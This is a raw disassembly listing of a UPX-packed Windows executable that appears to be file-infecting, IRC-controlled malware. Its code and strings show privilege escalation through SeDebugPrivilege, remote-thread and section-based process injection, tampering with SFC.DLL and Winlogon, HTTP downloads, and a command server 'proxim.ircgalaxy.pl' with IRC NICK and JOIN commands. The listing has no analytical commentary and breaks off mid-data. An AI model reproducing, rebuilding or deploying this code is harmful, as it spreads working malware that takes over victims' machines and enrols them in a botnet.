3500398Ch dd 7301B223h, 72E1D5Bh, 0C9ABDA00h, 8273C80h, 0EC57DA20h dd 9F324E24h, 461A0003h, 6407923h, 4007471Bh, 45060006h dd 101B9FFFh, 8A151F01h, 48E088h, 444004Fh, 292FFFF6h dd 0F27A6A19h, 281C49E4h, 742530AFh, 0E1536710h, 4DF214F2h dd 3075DF5Ch, 0BAF70400h, 75CDAE6h, 5C085ABDh, 0D8DD4D61h dd 72E5DC8h, 2E380036h, 491B3077h, 0B62E6CECh, 1043EC00h dd 0E5633F00h, 6439E403h dd 4DC08A2h, 0B7FC83D8h, 0FF1640h, 0E00DEDEh, 19F1600h dd 26FD2602h, 2840484Ch, 6110319h, 8BF70D1Bh, 0D374D96Ch dd 90A5C370h, 9C2AB2EFh, 6077256Bh, 109FB6CFh, 1B04480Eh dd 0B73E1354h, 5A545D75h, 22596326h, 45CBC75Ch, 0E7FCD20Fh dd 58765h, 4810030Bh, 0FFB810B8h, 0E7B17FFh, 286A050Bh dd 0B10C3919h, 0A89B11D0h, 0D94FC000h, 0FF85F62Eh, 5D5FF5B1h dd 1CEB8A88h, 0E89F11C9h, 48102B3Ch, 0B9F2D160h, 0F40C5EC8h dd 0CA060A3h, 5790F200h, 0CB10CA0h, 0C8E4EFFBh, 880CA000h dd 90040h, 0EC0703ECh, 0E49E11h, 4F401495h, 0BF40707Ch dd 1B2297B2h, 13430700h, 23FF09E7h, 138578h, 0E9A65BABh dd 63F81013h, 2F90273Ch, 230EFEFFh, 60C30740h, 8408E651h dd 0F74F9388h, 10B94349h, 0B801FFEEh, 0E4D98710h, 0AD200CC9h dd 7C7F070Dh, 0FC85796h, 700118D8h, 3E400F84h, 0F8495E4h dd 36000F95h, 21BF279h, 6C0F847Fh, 0AB7B000Fh, 0A89A1E12h dd 0FF13436Fh, 1F223024h, 50586E69h, 6C725020h, 2B029Bh dd 39014446h, 0F2113F24h, 123C6B32h, 0EC027515h, 41F21035h dd 941C0053h, 72BFFE01h, 0C606EB88h, 73255C5Ch, 6370695Ch dd 0FFE5D424h, 0EC81666Fh, 0E4FF071Ch, 44655300h, 67756265h dd 0E8DF7669h, 67ADD463h, 6A6441CFh, 6F548975h, 0DB92656Bh dd 176EB266h, 126F4C73h, 0FD1C7075h, 61567F76h, 4165756Ch dd 28704F17h, 2C77636Fh, 34C6A475h, 61766B00h, 0DF053367h dd 75E318D4h, 39316DCDh, 0FE6A322Dh, 9F5A3A37h, 72545F6Ch dd 6E577961h, 96DD4364h, 61AF36DAh, 6F94521Eh, 0AD685405h dd 0CCEA354h, 7C45614h, 0BA99B65Ch, 532841B5h, 3EA37845h dd 0FA34356Eh, 0F54BB3D2h, 544822F3h, 7D835054h, 404B46A9h dd 4F6C9C20h, 0BB0A0D4Bh, 1EF52B5h, 244CB4Bh, 0CA044C2Dh dd 676ADF66h, 25203A59h, 0DA2F1875h, 28587B5Ah, 26B97954h dd 6D5A70A7h, 63B2B6A6h, 2E2F15AFh, 8EA9EE56h, 72BF2DCBh dd 59B4CBCDh, 4757B18Bh, 1E3FC304h, 372A942Dh, 0F1640200h dd 0E95FED0Bh, 6D9573D7h, 0B1637673h, 2DDF77D7h, 25692D5Eh dd 175F320Fh, 98B73475h, 7BD2F6Bh, 38393103h, 0D34D34DBh dd 34353637h, 75236933h, 7DCE9A6h, 2F313203h, 0DEF60C39h dd 3837D9h, 37073B43h, 8320C832h, 0C8343536h, 330C8320h dd 93523132h, 0FB8B2CD4h, 0B7F9E03Ah, 0C7EDB58Ah, 54464F47h dd 45524157h, 9163F0Dh, 75435CD7h, 56297272h, 6C378442h dd 5C1E73E8h, 0B36E7552h, 0D0B6ED37h, 0EA6F74E2h, 20306838h dd 7FF81B53h, 0FB0F1A14h, 736E6753h, 796A7264h, 0CB564472h dd 7E741768h, 0B9AAEAA7h, 5F7A43C2h, 0CE23h, 4C10E147h dd 47136055h, 535E01BBh, 9E432053h, 0D5762067h, 0ADBD9B53h dd 945876DCh, 7C23B532h, 2D82F642h, 0E3471A1Bh, 23CB7337h dd 79931217h, 0A35A8473h, 4200F1B1h, 75D72077h, 0BDADB023h dd 6D1B13C5h, 0DD975220h, 0A5B73772h, 2044180Dh, 2F662620h dd 2D856D67h, 2AAC73D9h, 22632463h, 0FED722D9h, 20797469h dd 1E6E614Dh, 1831F81Ah, 420000Ch, 15455D12h, 0FB2493C4h dd 0C0017119h, 65657246h, 0B7E00D0Ch, 470DCD47h, 6F4D7465h dd 2F14BF87h, 434665C5h, 406D614Eh, 74736C01h, 35DEF772h dd 0A956380h, 79706F43h, 0E1480A19h, 456102DEh, 22326578h dd 0F8A5FFEDh, 6C6F6F54h, 3233703Bh, 70616E53h, 746F6873h dd 9B5BBA19h, 32127414h, 540F7372h, 235AE60Bh, 182C35A3h dd 0F60B6C21h, 78654E01h, 41616974h, 16BFFB54h, 0CF76453Ch dd 7469616Bh, 53726F46h, 0ED74423Ch, 4F7B676Dh, 2C766A62h dd 0E025A144h, 8D22B59Bh, 0CD964CB7h, 45DB76CDh, 2F725072h dd 48196972h, 0EF64BDD6h, 486573FDh, 0C646E61h, 886C3255h dd 8B61B59h, 4618E06Eh, 46D735F1h, 64B14465h, 59498B4Bh dd 530C1BC0h, 64656B1Dh, 0ADDD1F45h, 1270B36Dh, 661D4061h dd 1153246Fh, 96EC9B3h, 6EC17065h, 25CFF64Bh, 12EE9E9Bh dd 6464410Bh, 0EF660F72h, 4CD9221Bh, 61726269h, 0CD15B567h dd 4D2BC1B5h, 6C137C82h, 0BB961016h, 8763CF9Ch, 54F685B5h dd 75969869h, 2B4DDE65h, 0B15B092h, 0B4B44278h, 0D366C37h dd 0E539AF5Dh, 5D22CC21h, 78456862h, 66C25B6Dh, 630AF631h dd 373C6D13h, 522D8DC1h, 87B591Bh, 2ECD82ADh, 38657A94h dd 9F9D5B5Ch, 2CD1937Dh, 654B9367h, 0EC3B4579h, 7810CE40h dd 0A510F99h, 5AC25EC0h, 309011E8h, 426C5987h, 0D21021E7h dd 7B70A107h, 62410C51h, 6853B024h, 688D0E29h, 0FF78F1F6h dd 0D9851AC1h, 10892877h, 7DB662BBh, 6112440Ah, 6669320Eh dd 0B63AD61Bh, 8F67BC79h, 6C362B75h, 436F616Fh, 2C796FC0h dd 23506F11h, 52106770h, 3F900E8Fh, 0B4A438F6h, 71634114h dd 70726975h, 4DD874AEh, 3AA03549h, 59A7C336h, 73ECDE13h dd 6D06BC72h, 0D1CE18B1h, 840E27B2h, 99DA150Fh, 1D4D536Bh dd 0C54A445Fh, 3FB8740Ah, 0C5E8685Fh, 6EC46D27h, 0AD0702CDh dd 880D696Fh, 660AD172h, 14E955B3h, 40288901h, 0F3488CD3h dd 0CC652D15h, 0EC0CC362h, 0E10A1415h, 0DF26106Eh, 776C49ACh dd 0C20B7073h, 0B75BB669h, 0F44F4166h, 3DB6FC28h, 8B2C2834h dd 1141A155h, 16C05212h, 6A615F0Eh, 6B14C370h, 0C9416E09h dd 3BB86658h, 1A877453h, 0F5135B3Fh, 7940EB45h, 2C020273h dd 0D2CB2CBh, 346F3901h, 0B2CB2CB2h, 4090C17h, 2AA4F413h dd 141610CBh, 7C834550h, 74EC4AABh, 40E07ED2h, 0CE8011E0h dd 10F00FDh, 0BE06010Bh, 6ABA120Ch, 0EFCB20ECh, 31431024h dd 0BA4B020Bh, 7283259h, 364600Ch, 341E733Bh, 8060710h dd 37B39609h, 0E33F8C2Fh, 6405DB0Ah, 2E1E0180h, 0B06C0C5Bh dd 263207DDh, 0DBC42890h, 7D0483E3h, 642EE004h, 6E54FBE7h dd 1221DD21h, 162C27h, 0C08574BEh, 0C9314648h, 54h, 0 align 10h pusha mov esi, offset dword_31436000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31437CA2 ; --------------------------------------------------------------------------- align 8 loc_31437C98: ; CODE XREF: UPX1:loc_31437CA9j mov al, [esi] inc esi mov [edi], al inc edi loc_31437C9E: ; CODE XREF: UPX1:31437D36j ; UPX1:31437D4Dj add ebx, ebx jnz short loc_31437CA9 loc_31437CA2: ; CODE XREF: UPX1:31437C90j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CA9: ; CODE XREF: UPX1:31437CA0j jb short loc_31437C98 mov eax, 1 loc_31437CB0: ; CODE XREF: UPX1:31437CBFj ; UPX1:31437CCAj add ebx, ebx jnz short loc_31437CBB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CBB: ; CODE XREF: UPX1:31437CB2j adc eax, eax add ebx, ebx jnb short loc_31437CB0 jnz short loc_31437CCC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31437CB0 loc_31437CCC: ; CODE XREF: UPX1:31437CC1j xor ecx, ecx sub eax, 3 jb short loc_31437CE0 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31437D52 mov ebp, eax loc_31437CE0: ; CODE XREF: UPX1:31437CD1j add ebx, ebx jnz short loc_31437CEB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CEB: ; CODE XREF: UPX1:31437CE2j adc ecx, ecx add ebx, ebx jnz short loc_31437CF8 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437CF8: ; CODE XREF: UPX1:31437CEFj adc ecx, ecx jnz short loc_31437D1C inc ecx loc_31437CFD: ; CODE XREF: UPX1:31437D0Cj ; UPX1:31437D17j add ebx, ebx jnz short loc_31437D08 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31437D08: ; CODE XREF: UPX1:31437CFFj adc ecx, ecx add ebx, ebx jnb short loc_31437CFD jnz short loc_31437D19 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31437CFD loc_31437D19: ; CODE XREF: UPX1:31437D0Ej add ecx, 2 loc_31437D1C: ; CODE XREF: UPX1:31437CFAj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_31437D3C loc_31437D2D: ; CODE XREF: UPX1:31437D34j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_31437D2D jmp loc_31437C9E ; --------------------------------------------------------------------------- align 4 loc_31437D3C: ; CODE XREF: UPX1:31437D2Bj ; UPX1:31437D49j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_31437D3C add edi, ecx jmp loc_31437C9E ; --------------------------------------------------------------------------- loc_31437D52: ; CODE XREF: UPX1:31437CDCj pop esi mov edi, esi mov ecx, 86h loc_31437D5A: ; CODE XREF: UPX1:31437D61j ; UPX1:31437D66j mov al, [edi] inc edi sub al, 0E8h loc_31437D5F: ; CODE XREF: UPX1:31437D84j cmp al, 1 ja short loc_31437D5A cmp byte ptr [edi], 1 jnz short loc_31437D5A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_31437D5F lea edi, [esi+5000h] loc_31437D8C: ; CODE XREF: UPX1:31437DAEj mov eax, [edi] or eax, eax jz short loc_31437DD7 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_31437DA9: ; CODE XREF: UPX1:31437DCFj mov al, [edi] inc edi or al, al jz short loc_31437D8C mov ecx, edi jns short near ptr loc_31437DBA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_31437DBA: ; CODE XREF: UPX1:31437DB2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_31437DD1 mov [ebx], eax add ebx, 4 jmp short loc_31437DA9 ; --------------------------------------------------------------------------- loc_31437DD1: ; CODE XREF: UPX1:31437DC8j call dword ptr [esi+7094h] loc_31437DD7: ; CODE XREF: UPX1:31437D90j popa jmp loc_314324EF ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31438000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dd 7C801D77h dword_31438090 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress dd 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C371D3h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 0C3906893h, 0C48BED01h, 0E85BD0FFh, 5Fh, 824648Bh, 4EBB8h dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 427500F8h dd 0E8h, 0ED815D00h, 402338h, 2385858Bh, 85030040h, 40238Dh dd 858BF08Bh, 402389h, 238D8503h, 60500040h, 0C933FE8Bh dd 2395958Ah, 32AC0040h, 0AAD002C2h, 918D3B41h, 7C004023h dd 2BC361F1h, 30FF64C0h, 0B8208964h, 12345678h, 60000387h dd 7C800000h, 0 dd 1E003143h, 300000h, 75Ch dup(0) UPX2 ends ; Section 4. (virtual address 0000A000) ; Virtual size : 00018001 ( 98305.) ; Section size in file : 00018001 ( 98305.) ; Offset to raw data for section: 0000A000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ifc_ segment para public 'CODE' use32 assume cs:_ifc_ ;org 3143A000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0E800h, 8BFC0000h, 888B2404h, 29BBh, 33039889h, 0E1810000h dd 400000h, 4245C8Bh, 89592C74h, 3307B0h, 0BF888A00h, 89000029h dd 330BB8h, 0E8F98000h, 988B0874h, 29C1h, 888B0AEBh, 29C0h dd 2195C8Bh, 8B551B8Bh, 246C81E8h, 1E0604h, 5ED8100h, 8B001010h dd 8D04247Ch, 1039CCB5h, 0ECB900h, 0A4F30000h, 85C1000Fh dd 830575C9h, 2ECDFFC8h, 0F000E381h, 7B81FFFFh, 6968544Eh dd 81087473h, 100EBh, 8BEF7500h, 3C4303C3h, 6678508Bh dd 45503881h, 0D303E975h, 8B20728Bh, 0F303184Ah, 0C303AD51h dd 2788166h, 9755074h, 6F057881h, 74644163h, 59EAE205h dd 0C292BEBh, 24728B24h, 0FF30359h, 8B4E04B7h, 0FB031C7Ah dd 387348Bh, 37858DF3h, 8D001011h, 1011208Dh, 508B6600h dd 0EBD1FFE7h, 0C0858B47h, 25001039h, 400000h, 0B58D1F74h dd 1039C4h, 247C8BADh, 9D8BAB04h, 104308h, 10BD8BA4h, 8B001043h dd 10430CB5h, 0E2C35D00h, 89B95376h, 8B000028h, 2A1030DAh dd 1C083D3h, 0D686DF86h, 0C35BF3E2h, 0CE8h, 6F6C4300h dd 61486573h, 656C646Eh, 0D6FF5300h, 3E628589h, 0DE80010h dd 43000000h, 74616572h, 65764565h, 41746Eh, 89D6FF53h dd 103E6685h, 0DE800h, 65470000h, 73614C74h, 72724574h dd 5300726Fh, 8589D6FFh, 103E6Ah, 3D3E8h, 0FC08500h, 0FFFF5C84h dd 95FF50FFh, 103E6Ah, 850FC085h, 391h, 153FBD80h, 75010010h dd 8B5FF14h, 0FE001043h, 10153F8Dh, 98858F00h, 0EB001015h dd 98A58307h, 1015h, 1588A583h, 83000010h, 10158CA5h, 0A5830000h dd 101590h, 85C65700h, 1012D4h, 6EB58901h, 8D00103Eh, 101604B5h dd 8DC93300h, 103E7ABDh, 0E820B100h, 39Dh, 0BA95FF5Fh dd 0C100103Eh, 840F1FE8h, 0D4h, 6A14478Bh, 68C30340h, 8001000h dd 3E728589h, 28680010h, 6A000073h, 0F295FF00h, 8500103Eh dd 0FE840FC0h, 97000002h, 1000B58Dh, 0EF8B0010h, 0CCAB9h dd 0ED8100h, 8D001010h, 10125495h, 0FFA5F300h, 20EC83E2h dd 86AFC8Bh, 8D59C033h, 101B4D95h, 8BABF300h, 105789FCh dd 571C47FEh, 1000368h, 7295FF00h, 8300103Eh, 0C08520C4h dd 2AF840Fh, 6A970000h, 68016A00h, 80000400h, 1000068h dd 7295FF00h, 8500103Eh, 92840FC0h, 6A000002h, 685000h dd 6A000400h, 0CE8C100h, 50016A57h, 1000168h, 7295FF00h dd 6800103Eh, 1000Ah, 3E7295FFh, 5E80010h, 0E9000000h dd 261h, 0E359006Ah, 0FF0A6A0Ah, 103EE695h, 0C3F1EB00h dd 3E92BD83h, 0F000010h, 24484h, 6E800h, 544E0000h, 4C4C44h dd 3EAE95FFh, 0B58D0010h, 1017DEh, 0BD8DC933h, 103EFAh dd 0E8930EB1h, 285h, 3F2EBD83h, 0F000010h, 21084h, 0FE858B00h dd 0FF00103Eh, 858F0170h, 103917h, 3F16858Bh, 70FF0010h dd 64858F01h, 8B001039h, 103F0285h, 170FF00h, 396B858Fh dd 0BD810010h, 10396Bh, 10000h, 1D3830Fh, 8D8B0000h, 103F06h dd 71FF1AE3h, 78858F01h, 8B001039h, 103F0E8Dh, 0FF09E300h dd 858F0171h, 103985h, 1B8E8h, 84BD8D00h, 8B00103Fh, 0F6006ACFh dd 470FFD9h, 6A03E183h, 57F90340h, 186A006Ah, 15EBB58Dh dd 19B90010h, 8D000000h, 0FFFE4D04h, 0AB66FFFFh, 4D048Dh dd 66000000h, 4478DABh, 8DE432ABh, 103E3095h, 8966AC00h dd 83AB6602h, 0F5E202C2h, 6AD48Bh, 732868h, 6ACC8B00h dd 6AC48B00h, 6800h, 406A0800h, 0E6A5251h, 0A95FF50h, 5800103Fh dd 6840C483h, 7328h, 6AD48Bh, 406ACC8Bh, 26A006Ah, 68006A52h dd 7328h, 6A51006Ah, 95FF50FFh, 103F12h, 0FF85595Fh, 107840Fh dd 0B58D0000h, 101000h, 0CCAB9h, 0F3EF8B00h, 0ED81A5h dd 8D001010h, 10144A85h, 50E0FF00h, 6A206A54h, 1A95FFFFh dd 8500103Fh, 34755FC0h, 14FE8h, 11E800h, 65530000h, 75626544h dd 69725067h, 656C6976h, 57006567h, 550E8h, 88B5FF00h dd 0FF001042h, 103E9E95h, 95FF5700h, 103E62h, 26A006Ah dd 3E9295FFh, 28B90010h, 97000001h, 0C89E12Bh, 0FF575424h dd 103ED695h, 83F63300h, 103F72A5h, 57540000h, 3EDA95FFh dd 0C0850010h, 83466674h, 0EE7204FEh, 82474FFh, 2A6A006Ah dd 3ED295FFh, 0C0850010h, 0E893DC74h, 588h, 0E391C933h dd 7285393Ah, 7500103Fh, 247C8132h, 72736324h, 81287473h dd 0EAFC1h, 50545000h, 50505156h, 8A95FF53h, 8500103Eh dd 0F7459C0h, 82474FFh, 3F72858Fh, 0B5E80010h, 53FFFFFDh dd 3E6295FFh, 8EEB0010h, 128C481h, 0FF570000h, 103E6295h dd 6295FF00h, 0E900103Eh, 0FFFFFBB1h, 6A5A00h, 6A006Ah dd 168006Ah, 8B000400h, 50006AC4h, 0C48B0C6Ah, 7856E2FFh dd 345Fh, 0DAE8C933h, 8DFFFFFFh, 10155995h, 51515200h dd 6695FF50h, 8300103Eh, 8BC320C4h, 585858FFh, 332800h dd 0E7300h, 100h, 2 dup(0) dd 29C000h, 0 dd 53565100h, 3E6E95FFh, 59AB0010h, 75C084ACh, 0C3EEE2FBh dd 1985958Dh, 0FF520010h, 103EC695h, 88858900h, 0E8001042h dd 16h, 6B6F6F4Ch, 72507075h, 6C697669h, 56656765h, 65756C61h dd 0FF500041h, 103E6E95h, 8C858900h, 0C3001042h, 7361425Ch dd 6D614E65h, 624F6465h, 7463656Ah, 74565C73h, 74636553h dd 74736C00h, 6E656C72h, 65724300h, 46657461h, 41656C69h dd 65724300h, 46657461h, 4D656C69h, 69707061h, 41676Eh dd 61657243h, 72506574h, 7365636Fh, 43004173h, 74616572h dd 6D655265h, 5465746Fh, 61657268h, 72430064h, 65746165h dd 65726854h, 43006461h, 74616572h, 6F6F5465h, 6C65686Ch dd 53323370h, 7370616Eh, 746F68h, 74697845h, 65726854h dd 46006461h, 54656C69h, 54656D69h, 7379536Fh, 546D6574h dd 656D69h, 65657246h, 7262694Ch, 797261h, 46746547h, 41656C69h dd 69727474h, 65747562h, 47004173h, 69467465h, 6953656Ch dd 4700657Ah, 69467465h, 6954656Ch, 4700656Dh, 6F4D7465h dd 656C7564h, 646E6148h, 41656Ch, 54746547h, 46706D65h dd 4E656C69h, 41656D61h, 74654700h, 706D6554h, 68746150h dd 65470041h, 72655674h, 6E6F6973h, 74654700h, 73726556h dd 456E6F69h, 47004178h, 6F567465h, 656D756Ch, 6F666E49h dd 74616D72h, 416E6F69h, 616F4C00h, 62694C64h, 79726172h dd 614D0041h, 65695670h, 46664F77h, 656C69h, 6E65704Fh dd 656C6946h, 7070614Dh, 41676E69h, 65704F00h, 6F72506Eh dd 73736563h, 6F725000h, 73736563h, 69463233h, 747372h dd 636F7250h, 33737365h, 78654E32h, 65530074h, 6C694674h dd 74744165h, 75626972h, 41736574h, 74655300h, 656C6946h dd 656D6954h, 656C5300h, 53007065h, 65747379h, 6D69546Dh dd 466F5465h, 54656C69h, 656D69h, 616D6E55h, 65695670h dd 46664F77h, 656C69h, 74726956h, 416C6175h, 636F6C6Ch dd 69725700h, 69466574h, 4E00656Ch, 6A644174h, 50747375h dd 69766972h, 6567656Ch, 6B6F5473h, 4E006E65h, 65724374h dd 46657461h, 656C69h, 7243744Eh, 65746165h, 636F7250h dd 737365h, 7243744Eh, 65746165h, 636F7250h, 45737365h dd 744E0078h, 61657243h, 65536574h, 6F697463h, 744E006Eh dd 61657243h, 73556574h, 72507265h, 7365636Fh, 744E0073h dd 5670614Dh, 4F776569h, 63655366h, 6E6F6974h, 4F744E00h dd 466E6570h, 656C69h, 704F744Eh, 72506E65h, 7365636Fh dd 6B6F5473h, 4E006E65h, 65704F74h, 6365536Eh, 6E6F6974h dd 50744E00h, 65746F72h, 69567463h, 61757472h, 6D654D6Ch dd 79726Fh, 7551744Eh, 49797265h, 726F666Eh, 6974616Dh dd 6F546E6Fh, 6E656Bh, 7257744Eh, 56657469h, 75747269h dd 654D6C61h, 79726F6Dh, 6C745200h, 63696E55h, 5365646Fh dd 6E697274h, 416F5467h, 5369736Eh, 6E697274h, 53570067h dd 61745341h, 70757472h, 6F6C6300h, 6F736573h, 74656B63h dd 6E6F6300h, 7463656Eh, 74656700h, 74736F68h, 616E7962h dd 7200656Dh, 766365h, 646E6573h, 636F7300h, 74656Bh, 65746E49h dd 74656E72h, 736F6C43h, 6E614865h, 656C64h, 65746E49h dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h dd 6E490065h, 6E726574h, 704F7465h, 416E65h, 65746E49h dd 74656E72h, 6E65704Fh, 416C7255h, 746E4900h, 656E7265h dd 61655274h, 6C694664h, 44410065h, 49504156h, 442E3233h dd 52004C4Ch, 6C436765h, 4B65736Fh, 52007965h, 704F6765h dd 654B6E65h, 41784579h, 67655200h, 72657551h, 6C615679h dd 78456575h, 65520041h, 74655367h, 756C6156h, 41784565h dd 0F6335600h, 5656026Ah, 16AD48Bh, 1872FF52h, 8C95FF56h dd 8B001042h, 565656C4h, 70FF5650h, 0FA95FF18h, 8300103Eh dd 0C25E10C4h, 498D0008h, 51C82BFBh, 68h, 244C8DE8h, 6A006A03h dd 53505105h, 0CC8B056Ah, 50D48B50h, 51406A54h, 95FF5352h dd 103F22h, 0FF0CC483h, 103F2A95h, 8C48300h, 30958DC3h dd 3300103Eh, 52006AC9h, 32003068h, 51C48B00h, 50406A51h dd 83186A51h, 6A5408C0h, 95FF500Eh, 103F1Eh, 3320C483h dd 0FC085D2h, 0DAF7C299h, 0C3C22358h, 0E8FF3357h, 0FFFFFFC1h dd 0A5840Fh, 68500000h, 7328h, 6AD48Bh, 406ACC8Bh, 10000068h dd 52026A00h, 2868006Ah, 6A000073h, 50535100h, 3F1295FFh dd 595F0010h, 3E6295FFh, 0FF850010h, 8D8B7174h, 101590h dd 958D0CE3h, 101000h, 5357D103h, 858BD2FFh, 103EFEh, 29168F8Dh dd 2BE80000h, 8BFFFFFFh, 103F1685h, 638F8D00h, 0E8000029h dd 0FFFFFF1Ah, 3F02858Bh, 8F8D0010h, 296Ah, 0FFFF09E8h dd 6858BFFh, 8500103Fh, 8D2074C0h, 29778Fh, 0FEF4E800h dd 858BFFFFh, 103F0Eh, 0B74C085h, 29848F8Dh, 0DFE80000h dd 8BFFFFFEh, 55C35FC7h, 0E8h, 0ED815D00h, 101B24h, 858DC933h dd 101EAFh, 51515451h, 0FF515150h, 103E8E95h, 24048700h dd 3E6295FFh, 0C25D0010h, 0E8550004h, 0 dd 53ED815Dh, 6A00101Bh, 1E958DFFh, 5000101Bh, 2420CD52h dd 83002A00h, 0C7660CC4h, 101B6485h, 0C720CD00h, 101B6685h dd 2A002400h, 6AC35D00h, 9E8581Ah, 8D000000h, 0FEAA6142h dd 0C3F075C9h, 3F7C9569h, 84050010h, 89420808h, 103F7C95h dd 0C3E2F700h, 0E855h, 815D0000h, 101BADEDh, 809D8B00h dd 8300103Fh, 8247Ch, 0B9840Fh, 0EC810000h, 208h, 1046854h dd 95FF0000h, 103EB6h, 848DFC8Bh, 10424h, 6A5000h, 4E8h dd 52525600h, 95FF5700h, 103EB2h, 978DC933h, 104h, 26A5151h dd 68016A51h, 40000000h, 7E95FF52h, 9600103Eh, 5B74F685h dd 4685450h, 57000001h, 2024B4FFh, 0FF000002h, 103F5E95h dd 0C0855900h, 14E31674h, 6AD48B50h, 57515200h, 0F695FF56h dd 5900103Eh, 0D075C085h, 6295FF56h, 8D00103Eh, 57524457h dd 8D58446Ah, 10497h, 0C033AB00h, 0F359106Ah, 505050ABh dd 50505050h, 8695FF52h, 8100103Eh, 208C4h, 2474FF00h dd 4E95FF08h, 5300103Fh, 3F4E95FFh, 0C25D0010h, 3E800004h dd 4601750Ah, 158C8D8Bh, 19E30010h, 1000958Dh, 0D1030010h dd 84D2FF56h, 1F880FC0h, 0F000001h, 11084h, 3A3E8000h dd 80461075h, 840F003Eh, 101h, 75203E80h, 3E8146F1h, 474E4950h dd 0CF8B4275h, 4F0146C6h, 6A51CE2Bh, 53565100h, 3F4695FFh dd 3B590010h, 0DF850FC1h, 8D000000h, 101EA385h, 68006A00h dd 0Ch, 95FF5350h, 103F46h, 0C3Dh, 0BF850F00h, 0E9000000h dd 0B1h, 52503E81h, 850F5649h, 0A5h, 0AC08C683h, 840F0D3Ch dd 99h, 0F375203Ch, 0F3A3CACh, 8C85h, 200DAD00h, 3D202020h dd 74656721h, 3CAC7F75h, 817C7520h, 6820FF7Eh, 71757474h dd 70037E81h, 752F2F3Ah, 0FF47C668h, 0BA310F00h, 2710h dd 0FF52E2F7h, 103EE695h, 50C03300h, 0E8505050h, 9, 6E776F44h dd 64616F6Ch, 5695FF00h, 8500103Fh, 333674C0h, 808589C9h dd 5100103Fh, 20068h, 56515180h, 5A95FF50h, 8D00103Fh dd 101BA795h, 0C9335000h, 52505154h, 95FF5151h, 103E8Eh dd 0FF240487h, 103E6295h, 80C3F800h, 10157F8Dh, 0C3F90100h dd 16A016Ah, 73FF33FFh, 8515FF04h, 335A74C0h, 0B3D08BDBh dd 3C50030Bh, 1DCBB58Dh, 0BA8B0010h, 10Ch, 1088A8Bh, 0F8030000h dd 8B60CB2Bh, 61A6F3CBh, 0E2470574h, 832EEBF5h, 8B530FC7h dd 0D48B57CCh, 406A5450h, 0FF6A5251h, 3F2295FFh, 8D8B0010h dd 103E96h, 2B0CC483h, 7E983CFh, 6A07C7h, 4F8900E8h, 4F53C303h dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h dd 6C707845h, 7265726Fh, 72615400h, 48746567h, 74736Fh dd 50000002h, 0 aProxim_ircgala db 'proxim.ircgalaxy.pl',0 aNickLwzlwvrqUs db 'NICK lwzlwvrq',0Ah db 'USER uJOIN &virtu',0Ah db 'U',0 align 4 dd 815D0000h, 101EB5EDh, 7F85C600h, 1015h, 3EBA95FFh, 0E8C10010h dd 6A3C741Fh, 72B58B1Eh, 5900103Eh, 752E3CACh, 3E81662Ah dd 23751DFFh, 3F76BD8Dh, 768B0010h, 66A55702h, 0EC858DA5h dd 8F001038h, 10391285h, 4689FA00h, 0FE4E8CFAh, 0E201B1FBh dd 0E850EBCFh, 0FFFFFB21h, 8247C83h, 0E8447504h, 8, 2E434653h dd 4C4C44h, 3EC695FFh, 0C00B0010h, 6A930D74h, 95FF5302h dd 103E6Eh, 0E893D0FFh, 0FFFFFE97h, 0BE8h, 43465300h, 